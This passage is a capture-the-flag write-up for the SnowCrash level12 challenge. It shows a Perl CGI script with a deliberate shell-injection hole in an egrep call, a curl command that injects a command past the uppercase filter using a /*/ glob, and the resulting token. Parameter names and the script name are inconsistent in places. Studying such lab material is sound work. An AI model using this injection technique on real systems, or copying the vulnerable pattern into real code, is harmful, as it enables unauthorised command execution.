+```
+a bit more involed, lets try to make it more pretty
+
+```perl
+#!/usr/bin/env perl
+# localhost:4646
+use CGI qw{param};
+print "Content-type: text/html\n\n";
+
+sub t {
+  $arg2 = $_[1];
+  $arg1 = $_[0];
+  $arg1 =~ tr/a-z/A-Z/; 
+  $arg1 =~ s/\s.*//;
+  @output = `egrep "^$arg1" /tmp/xd 2>&1`;
+  foreach $line (@output) {
+      ($f, $s) = split(/:/, $line);
+      if($s =~ $arg2) {
+          return 1;
+      }
+  }
+  return 0;
+}
+
+sub n {
+  if($_[0] == 1) {
+      print("..");
+  } else {
+      print(".");
+  }
+}
+
+n(t(param("x"), param("y")));
+```
+
+when looking at this, we basically spot an `egrep` meaning that we have a shell injection.
+
+lets look at what is given to this string
+
+first of all, we get called with two argument, lets call them by their http parameter names `x` and `y`
+
+in the script they are also named `arg1` for `x` and `arg2` for `y`
+
+arg2 doesn't matter for us, so lets ignore it
+
+arg1 is converted to uppercase, and then we only keep erverything up to the first space;
+
+so we want to execute something like last time, meaning that we want to instert something to stop the current comment
+`";cmdhere`
+
+but the issue is that we need to have a command in uppercase (because everuthing gets convert to uppercase), however the only directory we can write to is `/tmp` which is in lowercase...
+
+Alas this doesnt matter since we are in shell land, and we can say `/*/GETOK` to refer to the `/tmp/GETOK` script
+
+```bash
+level12@SnowCrash:~$ curl "localhost:4646?y=%22%3B/*/GETTOK%3B%22" && cat /tmp/flag
+..Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr
